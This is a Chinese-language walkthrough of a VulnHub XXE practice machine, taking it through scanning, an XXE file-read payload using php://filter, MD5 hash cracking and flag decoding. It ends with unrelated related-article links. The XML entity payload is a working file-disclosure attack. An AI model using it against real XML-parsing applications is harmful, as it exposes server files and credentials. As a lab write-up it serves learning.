vulnhub-XXE靶机渗透记录
准备工作
在vulnhub官网下载xxe靶机

导入虚拟机

开始进行渗透测试

信息收集
首先打开kali,设置成NAT模式
查看本机ip地址

利用端口扫描工具nmap进行探测扫描
nmap -sS 192.168.200.6/24

(这里也可以先用nmap -sP 192.168.200.6/24 进行Ping扫描,然后再通过判断靶机的ip地址用nmap -sV 192.168.200.xxx进行端口的扫描)
扫描后可以看出只有192.168.200.9开放了80端口,大概率的可以判断192.168.200.9就是靶机的ip地址
用浏览器打开后是这样的界面

什么信息也没有,二话不说直接用扫描工具dirsearch开始扫描
python3 dirsearch.py -u http://192.168.200.9/

扫到一个robots.txt文件,访问得到:

注意到xxe,直接访问得到一个登陆界面

开始注入
抓个包看看

格式很明显是xml
尝试使用xml注入来访问xxe.php文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>

解码得

没有什么有用得信息,尝试读取一下刚刚在robots.txt文件中看到得admin.php
解码得到了账号administhebest 和 md5加密的密码

在md5解密网站解到对应的密码为admin@123
在192.168.200.9/xxe/的登陆框中输入账号密码还是提示不存在

后面意识到刚刚我读取的是admin.php的源码
于是访问192.168.200.9/xxe/admin.php发现还有另一个登陆界面
在这里登陆刚刚得到的账号密码


登陆后得到一个flag的跳转连接,点开后什么都没有

再次尝试读取flagmeout.php文件,这里要注意的是,因为flagmeout.php文件是在根目录中,所以读取这个文件时需要访问xxe.php文件的上一级目录,加上一个./
读取文件后解码得到flag,但是还是加密的格式,看起来应该是base32加密

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
base32解码后
L2V0Yy8uZmxhZy5waHA=
base64再次解码后得到
/etc/.flag.php
得到flag.php的目录后,直接再次读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
再经过base64解码得
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$Ã=+_;$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=++$Ã[];$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$__('$_="'.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.'"');$__($_);
一串乱码无从下手,在网上查阅了资料发现,我现在读取得文件是php文件,而$是php的代码部分,说明这串代码就是php代码,拉去运行一下
这里我在在线运行网站运行了php,得到以下结果拿到flag

vulnhub-XXE靶机渗透记录的更多相关文章
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- vulnhub-DC:4靶机渗透记录
准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- vulnhub-DC:5靶机渗透记录
准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-DC:6靶机渗透记录
准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- Vulnhub webdeveloper靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
随机推荐
- 剑指 Offer 04. 二维数组中的查找
链接:https://leetcode-cn.com/problems/er-wei-shu-zu-zhong-de-cha-zhao-lcof/ 标签:数组.双指针.二分 题目 在一个 n * m ...
- Java并发:乐观锁
作者:汤圆 个人博客:javalover.cc 简介 悲观锁和乐观锁都属于比较抽象的概念: 我们可以用拟人的手法来想象一下: 悲观锁:像有些人,凡事都往坏的想,做最坏的打算:在java中就表现为,总是 ...
- Django基础之cookie与session
cookie与session 由来及简介 HTTP协议四大特性 1.基于请求响应 2.基于TCP.IP作用于应用层之上 3.无连接 4.无状态 基于HTTP协议的通信无法记录客户端状态 但是现在很多软 ...
- TOP-5错误率
TOP-5错误率是指每幅图像同时用5个类别标签进行预测:如果其中任何一次预测正确,就认为预测正确,如果5次预测的结果都错了,才认为预测错误,这时的分类错误率就是TOP-5错误率.
- 【题解】数颜色 STL vector数组
小 C 的兔子不是雪白的,而是五彩缤纷的. 题目 题目描述 小 C 的兔子不是雪白的,而是五彩缤纷的.每只兔子都有一种颜色,不同的兔子可能有 相同的颜色.小 C 把她标号从 1 到 n 的 n只兔子排 ...
- Java进阶 | 泛型机制与反射原理
一.泛型的概念 1.基础案例 泛型在Java中的应用非常广泛,最常见则是在集合容器中,先看下基础用法: public class Generic01 { public static void main ...
- 创建react项目并集成eslint/prettier/commit-lint
创建 react 项目 npx create-react-app jira-new --template typescript 如果不想使用 TS,而要用 JS 的话,则删除 -template ty ...
- 对标 Spring Boot & Cloud ,轻量框架 Solon 1.5.8 发布
Solon 是一个轻量的Java基础开发框架.强调,克制 + 简洁 + 开放的原则:力求,更小.更快.更自由的体验.支持:RPC.REST API.MVC.Job.Micro service.WebS ...
- Vue(11)组件化的基本使用
前言 有时候有一组html结构的代码,并且这个上面可能还绑定了事件.然后这段代码可能有多个地方都被使用到了,如果都是拷贝来拷贝去,很多代码都是重复的,包括事件部分的代码都是重复的.那么这时候我们就可以 ...
- Blazor Server 和 WebAssembly 应用程序入门指南
翻译自 Waqas Anwar 2021年3月12日的文章 <A Beginner's Guide To Blazor Server and WebAssembly Applications&g ...